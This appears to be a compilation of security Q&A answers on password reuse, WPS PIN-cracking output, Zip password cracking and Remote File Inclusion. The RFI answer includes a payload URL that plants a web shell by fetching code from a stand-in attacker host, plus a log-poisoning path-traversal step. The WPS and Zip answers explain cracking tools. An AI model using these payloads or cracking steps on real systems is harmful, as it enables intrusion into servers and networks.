It depends on the situation really. If you use radius authentication and it's connecting back to you AD infrastructure and your using it within say your routing and switching environment to gain access to the CLI then it's OK. However this only because radius is a aaa service. If you use the same user and password to create domain administrator level changes it's very bad and is not a best practice by any means. In general you should never allow passwords to be reused even if it's say 6 months down the road. Usernames in the windows AD world typically have to be reused. However password as I mentioned before should never be refused as they become more insecure over time.


WPS. Output messaging translation to "human readable"

A very short answer could be:

[+] Waiting for beacon from XX:XX:XX:... -> searching for Access Point
[+] Associated with XX:XX:XX:... (ESSID: WifiTesting) -> Connected by radio
[+] Trying pin 12345670 -> Testing PIN
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message -> Router sends its identity / public key
[+] Sending M2 message -> The client sends its identity / public key
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message -> Confirmed, PIN1 is correct
[+] Sending M6 message
[+] Received M7 message -> Confirmed, PIN2 is correct
[+] Sending WSC NACK -> The client closes communication because it's finished
[+] Sending WSC NACK
[+] Pin cracked in 7 seconds -> The program says the final complete PIN

For the errors:

[!] WPS transaction failed (code: 0x02), re-trying last pin -> no response from AP, timeout
[!] WPS transaction failed (code: 0x03), re-trying last pin -> incorrect packets order, no right answer, usually on M1 or M3
[!] WPS transaction failed (code: 0x04), re-trying last pin -> AP doesn't want to speak with you :)

To understand this, you must know the PIN is divided in two parts (and the checksum of final digit). Please read this interesting info about how WPS works.
There explain the three logical components involved in WPS, I extracted an image from there:

This is logical, on common home scenarios like yours, router (registrar role) is usually same device as AP.

Hope this helps


PDF.zip file password forgotten and need to reset

Some Zip archives use the old PKZIP encryption, which uses a weak homemade stream cipher. The attack is described here (implementing it is a nice exercise for crypto students, by the way). Tools which apply that attack exist (use Google to find some). Windows XP inherent abilities at "Zip password protection" use this weak algorithm; see this answer for some details.

Other Zip-aware tools rely on AES encryption, which won't be as easily broken. If that is the case, then your only hope is to try some brute force on the password, in case it was chosen by a human being and thus possibly in range of a dictionary attack. This may fail if the password is strong enough.


Pentesting Web Server for Remote File Inclusion

Generally there are two ways you can upload a shell to a server.

Use RFI to execute PHP script that places shell

You place a text file on another webserver that contains php code to place a shell on the server then you include this file. You can place the shell on the server in various ways.

Use FTP/HTTP/... module of php to download the shell from a server
Place the BASE64 encoded shell in a variable and write the decoded content to a file

I suggest you to use the second option because it does not rely on modules that might aren't installed or disabled on that specific server.

Use the RFI as an LFI and execute PHP code directly

In most cases RFI vulnerablities can be used to include local files too. So you can use it as an LFI which can be helpful. In the first step you use a script to perform an HTTP request to that server. You use cURL,... because you don't want the specuial chars to be converted into htmlentities... Your request could look like this:

http://victim.com/i_dont_exist.php?code=<?php file_put_contents("shell.php", file_get_contents("http://attacker.com/shell.txt")) ?>

You want this to cause a 404 error because this should be writen to the error log. This is located in /var/log/apache/error.log when the victim uses apache and a default configuration. Then you call the RFI as an LFI to include the logfile and to execute the PHP code. For example:

http://victim.com/index.php?file=../../../../var/apache/error.log

Then the PHP code will be executed and the shell will be placed.

// A problem you will face when you start a netcat session using a php script is the script timeout. PHP scripts executed through a webserver have a timeout to prevent processes that run forever. I think the default value for this is 60 seconds which means after 60 seconds your backconnect will be closed. This is why many hackers dont want to run their malware as a thread of the apache daemon.